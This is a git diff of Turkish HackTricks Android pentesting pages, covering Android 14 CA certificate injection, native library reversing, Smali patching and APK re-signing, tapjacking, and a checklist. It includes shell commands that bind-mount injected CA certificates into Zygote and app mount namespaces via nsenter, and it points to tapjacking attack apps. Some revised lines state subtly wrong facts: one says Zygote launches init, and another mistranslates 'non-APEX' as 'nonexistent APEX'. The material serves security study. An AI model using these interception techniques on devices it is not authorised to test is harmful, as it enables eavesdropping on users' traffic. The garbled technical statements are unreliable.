2. **Sistem güvenilir hale getirin**: Magisc modülünü [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (bir .zip dosyası) indirin, **sürükleyip bırakın** telefonunuza, telefonunuzdaki **Magics uygulamasına** gidin ve **`Modüller`** bölümüne geçin, **`Depodan yükle`** seçeneğine tıklayın, `.zip` modülünü seçin ve yüklendikten sonra **telefonu yeniden başlatın**:
|
||||
|
||||
<figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
@ -54,13 +51,13 @@ Eğer **cihazınızı Magisc ile rootladıysanız** (belki bir emülatör), ve *
|
||||
|
||||
## Android 14 Sonrası
|
||||
|
||||
Son Android 14 sürümünde, sistem güvenilir Sertifika Otoritesi (CA) sertifikalarının yönetiminde önemli bir değişiklik gözlemlenmiştir. Önceden, bu sertifikalar **`/system/etc/security/cacerts/`** dizininde bulunuyordu ve root ayrıcalıklarına sahip kullanıcılar tarafından erişilebilir ve değiştirilebilir durumdaydı, bu da sistem genelinde anında uygulanmasını sağlıyordu. Ancak, Android 14 ile birlikte, depolama yeri **`/apex/com.android.conscrypt/cacerts`** dizinine taşınmıştır; bu dizin **`/apex`** yolunun içinde yer almakta olup, doğası gereği değiştirilemezdir.
|
||||
Son Android 14 sürümünde, sistem güvenilir Sertifika Otoritesi (CA) sertifikalarının yönetiminde önemli bir değişiklik gözlemlenmiştir. Önceden, bu sertifikalar **`/system/etc/security/cacerts/`** dizininde bulunuyordu ve root ayrıcalıklarına sahip kullanıcılar tarafından erişilebilir ve değiştirilebilir durumdaydı, bu da sistem genelinde anında uygulanmasını sağlıyordu. Ancak, Android 14 ile birlikte, depolama yeri **`/apex/com.android.conscrypt/cacerts`** dizinine taşınmış olup, bu dizin **`/apex`** yolunun içinde yer almakta ve doğası gereği değiştirilemez durumdadır.
|
||||
|
||||
**APEX cacerts yolu**'nu yazılabilir olarak yeniden bağlama girişimleri başarısızlıkla sonuçlanmaktadır, çünkü sistem böyle işlemlere izin vermemektedir. Geçici bir dosya sistemi (tmpfs) ile dizini çıkarmaya veya üst üste bindirmeye yönelik girişimler bile değiştirilemezliği aşmamaktadır; uygulamalar, dosya sistemi düzeyindeki değişikliklere bakılmaksızın orijinal sertifika verilerine erişmeye devam etmektedir. Bu dayanıklılık, **`/apex`** montajının ÖZEL yayılma ile yapılandırılmasından kaynaklanmaktadır; bu, **`/apex`** dizinindeki herhangi bir değişikliğin diğer süreçleri etkilemediğini garanti eder.
|
||||
**APEX cacerts yolu**'nu yazılabilir olarak yeniden bağlama girişimleri başarısızlıkla sonuçlanmaktadır, çünkü sistem böyle işlemlere izin vermemektedir. Geçici bir dosya sistemi (tmpfs) ile dizini çıkarmaya veya üstüne yazmaya yönelik girişimler bile değiştirilemezliği aşmamaktadır; uygulamalar dosya sistemi düzeyindeki değişikliklere bakılmaksızın orijinal sertifika verilerine erişmeye devam etmektedir. Bu dayanıklılık, **`/apex`** montajının ÖZEL yayılma ile yapılandırılmasından kaynaklanmakta, böylece **`/apex`** dizinindeki herhangi bir değişiklik diğer süreçleri etkilememektedir.
|
||||
|
||||
Android'in başlatılması, işletim sistemini başlatırken `init` sürecini içerir ve bu süreç, Zygote sürecini de başlatır. Bu süreç, uygulama süreçlerini yeni bir montaj ad alanı ile başlatmaktan sorumludur; bu ad alanı, özel bir **`/apex`** montajını içerir ve böylece bu dizindeki değişiklikleri diğer süreçlerden izole eder.
|
||||
Android'in başlatılması, işletim sistemini başlatırken `init` sürecini de başlatan Zygote süreci ile gerçekleşir. Bu süreç, yeni bir montaj ad alanı ile uygulama süreçlerini başlatmaktan sorumludur ve bu ad alanı özel bir **`/apex`** montajını içerir, böylece bu dizindeki değişikliklerin diğer süreçlerden izole edilmesini sağlar.
|
||||
|
||||
Yine de, **`/apex`** dizinindeki sistem güvenilir CA sertifikalarını değiştirmek isteyenler için bir çözüm bulunmaktadır. Bu, **`/apex`**'i ÖZEL yayılmayı kaldıracak şekilde manuel olarak yeniden bağlamayı içerir ve böylece yazılabilir hale getirir. Süreç, **`/apex/com.android.conscrypt`** içeriğini başka bir yere kopyalamayı, **`/apex/com.android.conscrypt`** dizinini çıkarmayı ve salt okunur kısıtlamayı ortadan kaldırmayı ve ardından içeriği **`/apex`** içindeki orijinal konumuna geri yüklemeyi içerir. Bu yaklaşım, sistem çöküşlerini önlemek için hızlı hareket etmeyi gerektirir. Bu değişikliklerin sistem genelinde uygulanmasını sağlamak için, `system_server`'ı yeniden başlatmak önerilir; bu, tüm uygulamaları etkili bir şekilde yeniden başlatır ve sistemi tutarlı bir duruma getirir.
|
||||
Yine de, **`/apex`** dizinindeki sistem güvenilir CA sertifikalarını değiştirmek isteyenler için bir çözüm bulunmaktadır. Bu, **`/apex`**'i ÖZEL yayılmayı kaldıracak şekilde manuel olarak yeniden bağlamayı içerir, böylece yazılabilir hale gelir. Süreç, **`/apex/com.android.conscrypt`** içeriğini başka bir yere kopyalamayı, **`/apex/com.android.conscrypt`** dizinini çıkarmayı ve salt okunur kısıtlamayı ortadan kaldırmayı, ardından içeriği **`/apex`** içindeki orijinal konumuna geri yüklemeyi içerir. Bu yaklaşım, sistem çöküşlerini önlemek için hızlı hareket etmeyi gerektirir. Bu değişikliklerin sistem genelinde uygulanmasını sağlamak için, `system_server`'ı yeniden başlatmak önerilir; bu, tüm uygulamaları etkili bir şekilde yeniden başlatır ve sistemi tutarlı bir duruma getirir.
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
@ -120,11 +117,11 @@ echo "System certificate injected"
|
||||
```
|
||||
### Bind-mounting through NSEnter
|
||||
|
||||
1. **Yazılabilir Bir Dizin Kurma**: İlk olarak, mevcut non-APEX sistem sertifika dizininin üzerine bir `tmpfs` monte edilerek yazılabilir bir dizin oluşturulur. Bu, aşağıdaki komut ile gerçekleştirilir:
|
||||
1. **Yazılabilir Bir Dizin Kurma**: İlk olarak, mevcut olmayan APEX sistem sertifika dizininin üzerine bir `tmpfs` monte edilerek yazılabilir bir dizin oluşturulur. Bu, aşağıdaki komut ile gerçekleştirilir:
|
||||
```bash
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
2. **CA Sertifikalarını Hazırlama**: Yazılabilir dizinin kurulumu sonrasında, kullanılmak istenen CA sertifikaları bu dizine kopyalanmalıdır. Bu, `/apex/com.android.conscrypt/cacerts/` dizininden varsayılan sertifikaların kopyalanmasını içerebilir. Bu sertifikaların izinlerinin ve SELinux etiketlerinin uygun şekilde ayarlanması önemlidir.
|
||||
2. **CA Sertifikalarını Hazırlama**: Yazılabilir dizinin kurulumu sonrasında, kullanılmak istenen CA sertifikaları bu dizine kopyalanmalıdır. Bu, `/apex/com.android.conscrypt/cacerts/` dizinindeki varsayılan sertifikaların kopyalanmasını içerebilir. Bu sertifikaların izinlerinin ve SELinux etiketlerinin uygun şekilde ayarlanması önemlidir.
|
||||
3. **Zygote için Bağlama**: `nsenter` kullanarak, Zygote'un montaj ad alanına girilir. Zygote, Android uygulamalarını başlatmaktan sorumlu olan süreç olduğundan, bundan sonraki tüm başlatılan uygulamaların yeni yapılandırılmış CA sertifikalarını kullanmasını sağlamak için bu adım gereklidir. Kullanılan komut:
|
||||
```bash
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
@ -135,14 +132,11 @@ Bu, başlatılan her yeni uygulamanın güncellenmiş CA sertifikaları ayarlar
|
||||
```bash
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
5. **Alternatif Yaklaşım - Yumuşak Yeniden Başlatma**: Alternatif bir yöntem, `init` sürecinde (PID 1) bind mount işlemi gerçekleştirmek ve ardından işletim sistemini `stop && start` komutlarıyla yumuşak bir şekilde yeniden başlatmaktır. Bu yaklaşım, değişikliklerin tüm ad alanlarına yayılmasını sağlar ve her bir çalışan uygulamayı ayrı ayrı ele alma ihtiyacını ortadan kaldırır. Ancak, bu yöntem genellikle yeniden başlatmanın getirdiği rahatsızlık nedeniyle daha az tercih edilmektedir.
|
||||
5. **Alternatif Yaklaşım - Yumuşak Yeniden Başlatma**: Alternatif bir yöntem, `init` sürecinde (PID 1) bind mount işlemi gerçekleştirmek ve ardından işletim sistemini `stop && start` komutlarıyla yumuşak bir şekilde yeniden başlatmaktır. Bu yaklaşım, değişikliklerin tüm ad alanlarına yayılmasını sağlayarak her bir çalışan uygulamayı ayrı ayrı ele alma ihtiyacını ortadan kaldırır. Ancak, bu yöntem genellikle yeniden başlatmanın getirdiği rahatsızlık nedeniyle daha az tercih edilmektedir.
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,15 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mobil Güvenlik** konusundaki uzmanlığınızı 8kSec Akademisi ile derinleştirin. Kendi hızınıza uygun kurslarımızla iOS ve Android güvenliğini öğrenin ve sertifika kazanın:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
|
||||
**Daha fazla bilgi için kontrol edin:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
|
||||
|
||||
Android uygulamaları, performans açısından kritik görevler için genellikle C veya C++ ile yazılmış yerel kütüphaneler kullanabilir. Kötü amaçlı yazılım oluşturucuları da bu kütüphaneleri kullanır, çünkü bunları tersine mühendislik yapmak DEX bytecode'dan daha zordur. Bu bölüm, Android'e özel tersine mühendislik becerilerini vurgular, montaj dillerini öğretmek yerine. Uyum sağlamak için ARM ve x86 sürümleri sağlanmaktadır.
|
||||
Android uygulamaları, performans açısından kritik görevler için genellikle C veya C++ ile yazılmış yerel kütüphaneler kullanabilir. Kötü amaçlı yazılım yaratıcıları da bu kütüphaneleri kullanır, çünkü bunları tersine mühendislik yapmak DEX bytecode'dan daha zordur. Bu bölüm, montaj dillerini öğretmek yerine Android'e özel tersine mühendislik becerilerini vurgular. Uyum sağlamak için ARM ve x86 sürümleri sağlanmaktadır.
|
||||
|
||||
### Ana Noktalar:
|
||||
|
||||
@ -18,20 +12,20 @@ Android uygulamaları, performans açısından kritik görevler için genellikle
|
||||
- Performans yoğun görevler için kullanılır.
|
||||
- Tersine mühendislik yapmayı zorlaştıran C veya C++ ile yazılmıştır.
|
||||
- Linux ikili dosyalarına benzer şekilde `.so` (paylaşılan nesne) formatında bulunur.
|
||||
- Kötü amaçlı yazılım oluşturucuları analizi zorlaştırmak için yerel kodu tercih eder.
|
||||
- Kötü amaçlı yazılım yaratıcıları, analizi zorlaştırmak için yerel kodu tercih eder.
|
||||
- **Java Yerel Arayüzü (JNI) ve Android NDK:**
|
||||
- JNI, Java yöntemlerinin yerel kodda uygulanmasına olanak tanır.
|
||||
- NDK, yerel kod yazmak için Android'e özgü bir araç setidir.
|
||||
- JNI ve NDK, Java (veya Kotlin) kodunu yerel kütüphanelerle birleştirir.
|
||||
- **Kütüphane Yükleme ve Çalıştırma:**
|
||||
- Kütüphaneler `System.loadLibrary` veya `System.load` kullanılarak belleğe yüklenir.
|
||||
- Kütüphaneler, `System.loadLibrary` veya `System.load` kullanılarak belleğe yüklenir.
|
||||
- Kütüphane yüklenirken JNI_OnLoad çalıştırılır.
|
||||
- Java'da tanımlanan yerel yöntemler, yerel işlevlerle bağlantı kurarak çalıştırılmasını sağlar.
|
||||
- **Java Yöntemlerini Yerel İşlevlere Bağlama:**
|
||||
- **Dinamik Bağlama:** Yerel kütüphanelerdeki işlev adları belirli bir desene uyar, otomatik bağlamaya olanak tanır.
|
||||
- **Statik Bağlama:** Bağlama için `RegisterNatives` kullanır, işlev adlandırma ve yapısında esneklik sağlar.
|
||||
- **Tersine Mühendislik Araçları ve Teknikleri:**
|
||||
- Ghidra ve IDA Pro gibi araçlar yerel kütüphaneleri analiz etmeye yardımcı olur.
|
||||
- Ghidra ve IDA Pro gibi araçlar, yerel kütüphaneleri analiz etmeye yardımcı olur.
|
||||
- `JNIEnv`, JNI işlevlerini ve etkileşimlerini anlamak için kritik öneme sahiptir.
|
||||
- Kütüphaneleri yükleme, yöntemleri bağlama ve yerel işlevleri tanımlama pratiği yapmak için alıştırmalar sağlanmaktadır.
|
||||
|
||||
@ -47,10 +41,4 @@ Android uygulamaları, performans açısından kritik görevler için genellikle
|
||||
- **Yerel Kütüphaneleri Hata Ayıklama:**
|
||||
- [JEB Decompiler Kullanarak Android Yerel Kütüphanelerini Hata Ayıklama](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
|
||||
|
||||
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mobil Güvenlik** konusundaki uzmanlığınızı 8kSec Akademisi ile derinleştirin. Kendi hızınıza uygun kurslarımızla iOS ve Android güvenliğini öğrenin ve sertifika kazanın:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,13 +1,7 @@
|
||||
# Smali - Decompiling/\[Modifying]/Compiling
|
||||
# Smali - Decompile/\[Modifying]/Compile
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Mobil Güvenlikteki uzmanlığınızı **8kSec Academy** ile derinleştirin. Kendi hızınızda ilerleyerek iOS ve Android güvenliğini öğrenin ve sertifika kazanın:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
|
||||
Bazen, gizli bilgilere erişmek için uygulama kodunu değiştirmek ilginç olabilir (belki iyi obfuscate edilmiş şifreler veya bayraklar). Bu durumda, apk'yı decompile etmek, kodu değiştirmek ve yeniden compile etmek ilginç olabilir.
|
||||
|
||||
**Opcode referansı:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html)
|
||||
@ -26,13 +20,13 @@ apktool d APP.apk
|
||||
```
|
||||
Eğer **apktool** herhangi bir hata veriyorsa, [**en son sürümü**](https://ibotpeaches.github.io/Apktool/install/) yüklemeyi deneyin.
|
||||
|
||||
Bakmanız gereken bazı **ilginç dosyalar** şunlardır:
|
||||
Göz atmanız gereken bazı **ilginç dosyalar** şunlardır:
|
||||
|
||||
- _res/values/strings.xml_ (ve res/values/* içindeki tüm xml'ler)
|
||||
- _AndroidManifest.xml_
|
||||
- _.sqlite_ veya _.db_ uzantısına sahip herhangi bir dosya
|
||||
|
||||
Eğer `apktool` uygulamayı **çözemiyorsa**, [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) adresine göz atın veya **`-r`** (Kaynakları çözme) argümanını kullanmayı deneyin. O zaman, eğer sorun bir kaynakta değil de bir kaynak kodunda ise, bu sorunla karşılaşmayacaksınız (kaynakları da decompile etmeyeceksiniz).
|
||||
Eğer `apktool` uygulamayı **çözümlerken sorun yaşıyorsa**, [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) adresine bakın veya **`-r`** (Kaynakları çözümleme) argümanını kullanmayı deneyin. O zaman, sorun bir kaynakta değil de bir kaynak kodunda ise, bu sorunla karşılaşmayacaksınız (kaynakları da decompile etmeyeceksiniz).
|
||||
|
||||
## Smali kodunu değiştir
|
||||
|
||||
@ -42,7 +36,7 @@ Bazı **örnekler** burada bulunabilir:
|
||||
- [Smali değişiklik örnekleri](smali-changes.md)
|
||||
- [Google CTF 2018 - Oyun Oynayalım mı?](google-ctf-2018-shall-we-play-a-game.md)
|
||||
|
||||
Ya da [**aşağıda bazı Smali değişikliklerinin açıklandığını kontrol edebilirsiniz**](smali-changes.md#modifying-smali).
|
||||
Ya da [**aşağıda bazı Smali değişikliklerinin açıklandığına göz atabilirsiniz**](smali-changes.md#modifying-smali).
|
||||
|
||||
## APK'yı yeniden derle
|
||||
|
||||
@ -54,7 +48,7 @@ Yeni APK'yı _**dist**_ klasörünün **içinde** **derleyecektir**.
|
||||
|
||||
Eğer **apktool** bir **hata** verirse, [**en son sürümü**](https://ibotpeaches.github.io/Apktool/install/) yüklemeyi deneyin.
|
||||
|
||||
### **Yeni APK'yı İmzala**
|
||||
### **Yeni APK'yı imzala**
|
||||
|
||||
Sonra, bir **anahtar** **oluşturmanız** gerekiyor (bir şifre ve rastgele doldurabileceğiniz bazı bilgiler istenecektir):
|
||||
```bash
|
||||
@ -73,7 +67,7 @@ zipalign -v 4 infile.apk
|
||||
```
|
||||
### **Yeni APK'yı imzalayın (yine mi?)**
|
||||
|
||||
Eğer **apksigner** kullanmayı **tercih ediyorsanız**, **zipalign ile optimizasyonu uyguladıktan sonra apk'yı imzalamalısınız**. ANCAK DİKKAT EDİN, UYGULAMAYI SADECE BİR KEZ **jarsigner ile (zipalign'dan önce)** veya **aspsigner ile (zipalign'dan sonra)** İMZALAMALISINIZ.
|
||||
Eğer **apksigner** kullanmayı **tercih ediyorsanız**, **zipalign ile optimizasyonu** uyguladıktan sonra **apk'yı imzalamalısınız**. ANCAK DİKKAT EDİN, **UYGULAMAYI SADECE BİR KEZ** jarsigner ile (zipalign'dan önce) veya aspsigner ile (zipalign'dan sonra) **İMZALAMALISINIZ**.
|
||||
```bash
|
||||
apksigner sign --ks key.jks ./dist/mycompiled.apk
|
||||
```
|
||||
@ -99,7 +93,7 @@ Smali talimat seti [burada](https://source.android.com/devices/tech/dalvik/dalvi
|
||||
|
||||
### Hafif Değişiklikler
|
||||
|
||||
### Bir fonksiyon içindeki bir değişkenin başlangıç değerlerini değiştir
|
||||
### Bir fonksiyon içindeki bir değişkenin başlangıç değerlerini değiştirin
|
||||
|
||||
Bazı değişkenler, _const_ opcode'u kullanılarak fonksiyonun başında tanımlanır, değerlerini değiştirebilir veya yenilerini tanımlayabilirsiniz:
|
||||
```bash
|
||||
@ -147,15 +141,15 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin
|
||||
|
||||
- Eğer fonksiyon içinde tanımlı değişkenleri kullanacaksanız (tanımlı v0,v1,v2...) bu satırları _.local \<number>_ ile değişkenlerin tanımları (_const v0, 0x1_) arasında koyun.
|
||||
- Eğer bir fonksiyonun kodunun ortasına logging kodunu eklemek istiyorsanız:
|
||||
- Tanımlı değişkenlerin sayısına 2 ekleyin: Örnek: _.locals 10_ dan _.locals 12_ ye.
|
||||
- Yeni değişkenler, zaten tanımlı değişkenlerin sonraki numaraları olmalıdır (bu örnekte _v10_ ve _v11_ olmalıdır, v0'dan başladığını unutmayın).
|
||||
- Logging fonksiyonunun kodunu değiştirin ve _v10_ ve _v11_ kullanın, _v5_ ve _v1_ yerine.
|
||||
- Tanımlı değişkenlerin sayısına 2 ekleyin: Örnek: _.locals 10_'dan _.locals 12_'ye.
|
||||
- Yeni değişkenler, zaten tanımlı değişkenlerin sonraki numaraları olmalıdır (bu örnekte _v10_ ve _v11_ olmalıdır, unutmayın ki v0'dan başlar).
|
||||
- Logging fonksiyonunun kodunu değiştirin ve _v10_ ile _v11_'i _v5_ ve _v1_'in yerine kullanın.
|
||||
|
||||
### Toasting
|
||||
|
||||
Fonksiyonun başındaki _.locals_ sayısına 3 eklemeyi unutmayın.
|
||||
Fonksiyonun başında _.locals_ sayısına 3 eklemeyi unutmayın.
|
||||
|
||||
Bu kod, **bir fonksiyonun ortasına** eklenmek üzere hazırlanmıştır (**değişkenlerin** **sayısını** gerektiği gibi **değiştirin**). **this.o** değerini alacak, **String**'e **dönüştürecek** ve ardından **değerini** içeren bir **toast** yapacaktır.
|
||||
Bu kod, **bir fonksiyonun ortasına** eklenmek üzere hazırlanmıştır (**değiştirin** **değişkenlerin** **numarasını** gerektiği gibi). **this.o**'nun **değerini** alacak, **String**'e **dönüştürecek** ve ardından **değerini** kullanarak bir **toast** yapacaktır.
|
||||
```bash
|
||||
const/4 v10, 0x1
|
||||
const/4 v11, 0x1
|
||||
@ -167,10 +161,4 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/
|
||||
move-result-object v12
|
||||
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
|
||||
```
|
||||
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mobil Güvenlik** konusundaki uzmanlığınızı 8kSec Akademi ile derinleştirin. Kendi hızınızda ilerleyerek iOS ve Android güvenliğini öğrenin ve sertifika kazanın:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,13 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## **Temel Bilgiler**
|
||||
|
||||
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamasının üzerine yerleştiği** bir saldırıdır. Kurban uygulamasını görünür şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, bu arada etkileşimi kurban uygulamasına iletmektedir.\
|
||||
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamanın üzerine yerleştiği** bir saldırıdır. Kurban uygulamayı görünür şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, bu arada etkileşimi kurban uygulamaya iletmektedir.\
|
||||
Sonuç olarak, bu durum **kullanıcının aslında kurban uygulamasında eylem gerçekleştirdiğini bilmesini engellemektedir**.
|
||||
|
||||
### Tespit
|
||||
@ -23,7 +19,7 @@ Bu saldırıya karşı savunmasız uygulamaları tespit etmek için, android man
|
||||
|
||||
#### `filterTouchesWhenObscured`
|
||||
|
||||
Eğer **`android:filterTouchesWhenObscured`** **`true`** olarak ayarlandıysa, `View`, görünür bir pencere tarafından gizlendiğinde dokunuşları almayacaktır.
|
||||
Eğer **`android:filterTouchesWhenObscured`** **`true`** olarak ayarlandıysa, `View`, görünür bir başka pencere tarafından gizlendiğinde dokunuşları almayacaktır.
|
||||
|
||||
#### **`setFilterTouchesWhenObscured`**
|
||||
|
||||
@ -41,9 +37,9 @@ android:filterTouchesWhenObscured="true">
|
||||
|
||||
### Tapjacking-ExportedActivity
|
||||
|
||||
En son **Android uygulaması** olan Tapjacking saldırısını gerçekleştiren (ve saldırıya uğrayan uygulamanın dışa aktarılan bir aktivitesinden önce çağrılan) uygulama şu adreste bulunabilir: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
En son **Android uygulaması** olan Tapjacking saldırısını gerçekleştiren (+ saldırıya uğrayan uygulamanın dışa aktarılan bir aktivitesinden önce çağrılarak) şu adreste bulabilirsiniz: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
|
||||
**Kullanım için README talimatlarını takip edin**.
|
||||
**Kullanım için README talimatlarını** takip edin.
|
||||
|
||||
### FloatingWindowApp
|
||||
|
||||
@ -52,18 +48,15 @@ En son **Android uygulaması** olan Tapjacking saldırısını gerçekleştiren
|
||||
### Qark
|
||||
|
||||
> [!CAUTION]
|
||||
> Bu projenin artık bakımsız olduğu ve bu işlevselliğin düzgün çalışmadığı görünmektedir.
|
||||
> Bu projenin artık bakımsız olduğu ve bu işlevselliğin düzgün çalışmadığı görünüyor.
|
||||
|
||||
Olası **Tapjacking** zafiyetlerini test etmek için kötü niyetli bir uygulama oluşturmak üzere [**qark**](https://github.com/linkedin/qark) kullanabilirsiniz. `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` parametreleri ile.
|
||||
Olası **Tapjacking** zafiyetlerini test etmek için kötü niyetli bir uygulama oluşturmak üzere [**qark**](https://github.com/linkedin/qark) kullanabilirsiniz `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` parametreleri ile.\
|
||||
|
||||
Zafiyetin giderilmesi oldukça basittir, çünkü geliştirici bir görünüm başka bir görünüm tarafından kaplandığında dokunma olaylarını almamayı seçebilir. [Android Geliştirici Referansı](https://developer.android.com/reference/android/view/View#security) kullanarak:
|
||||
|
||||
> Bazen bir uygulamanın, bir izin talebini onaylama, bir satın alma yapma veya bir reklama tıklama gibi bir eylemin kullanıcının tam bilgisi ve rızasıyla gerçekleştirildiğini doğrulaması önemlidir. Ne yazık ki, kötü niyetli bir uygulama, görünümün amaçlanan amacını gizleyerek kullanıcının bu eylemleri bilmeden gerçekleştirmesini sağlamaya çalışabilir. Bir çözüm olarak, çerçeve, hassas işlevselliğe erişim sağlayan görünümlerin güvenliğini artırmak için kullanılabilecek bir dokunma filtreleme mekanizması sunar.
|
||||
> Bazen bir uygulamanın, bir izin talebini onaylama, bir satın alma işlemi yapma veya bir reklama tıklama gibi bir eylemin kullanıcının tam bilgisi ve rızasıyla gerçekleştirildiğini doğrulaması önemlidir. Ne yazık ki, kötü niyetli bir uygulama, görünümün amaçlanan amacını gizleyerek kullanıcının bu eylemleri gerçekleştirmesini sağlamak için kullanıcıyı kandırmaya çalışabilir. Bir çözüm olarak, çerçeve, hassas işlevselliğe erişim sağlayan görünümlerin güvenliğini artırmak için kullanılabilecek bir dokunma filtreleme mekanizması sunar.
|
||||
>
|
||||
> Dokunma filtrelemeyi etkinleştirmek için [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) çağrısını yapın veya android:filterTouchesWhenObscured düzenleme özniteliğini true olarak ayarlayın. Etkinleştirildiğinde, çerçeve, görünümün penceresi başka bir görünüm tarafından kaplandığında alınan dokunmaları yok sayacaktır. Sonuç olarak, bir toast, diyalog veya başka bir pencere görünümün penceresinin üzerinde belirdiğinde, görünüm dokunmaları almayacaktır.
|
||||
> Dokunma filtrelemeyi etkinleştirmek için [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) çağrısını yapın veya android:filterTouchesWhenObscured düzenleme özniteliğini true olarak ayarlayın. Etkinleştirildiğinde, çerçeve, görünümün penceresi başka bir görünür pencere tarafından kaplandığında alınan dokunmaları yok sayacaktır. Sonuç olarak, bir toast, diyalog veya başka bir pencere görünümün penceresinin üzerinde belirdiğinde görünüm dokunmaları almayacaktır.
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,11 +2,6 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mobil Güvenlik** konusundaki uzmanlığınızı 8kSec Akademi ile derinleştirin. Kendi hızınıza göre ilerleyerek iOS ve Android güvenliğini öğrenin ve sertifika kazanın:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
|
||||
### [Android temellerini öğrenin](android-app-pentesting/#2-android-application-fundamentals)
|
||||
|
||||
@ -18,54 +13,4 @@
|
||||
- [ ] [İçerik Sağlayıcıları](android-app-pentesting/#services)
|
||||
- [ ] [Hizmetler](android-app-pentesting/#services-1)
|
||||
- [ ] [Yayıncı Alıcılar](android-app-pentesting/#broadcast-receivers)
|
||||
- [ ] [Niyetler](android-app-pentesting/#intents)
|
||||
- [ ] [Niyet Filtreleri](android-app-pentesting/#intent-filter)
|
||||
- [ ] [Diğer bileşenler](android-app-pentesting/#other-app-components)
|
||||
- [ ] [ADB nasıl kullanılır](android-app-pentesting/#adb-android-debug-bridge)
|
||||
- [ ] [Smali nasıl değiştirilir](android-app-pentesting/#smali)
|
||||
|
||||
### [Statik Analiz](android-app-pentesting/#static-analysis)
|
||||
|
||||
- [ ] [Obfuscation](android-checklist.md#some-obfuscation-deobfuscation-information) kullanımı kontrol edin, mobilin root'lanıp lanmadığını, bir emülatör kullanılıp kullanılmadığını ve anti-tamper kontrollerini kontrol edin. [Daha fazla bilgi için bunu okuyun](android-app-pentesting/#other-checks).
|
||||
- [ ] Hassas uygulamalar (banka uygulamaları gibi) mobilin root'lanıp lanmadığını kontrol etmeli ve buna göre hareket etmelidir.
|
||||
- [ ] [İlginç dizgiler](android-app-pentesting/#looking-for-interesting-info) arayın (şifreler, URL'ler, API, şifreleme, arka kapılar, tokenlar, Bluetooth uuid'leri...).
|
||||
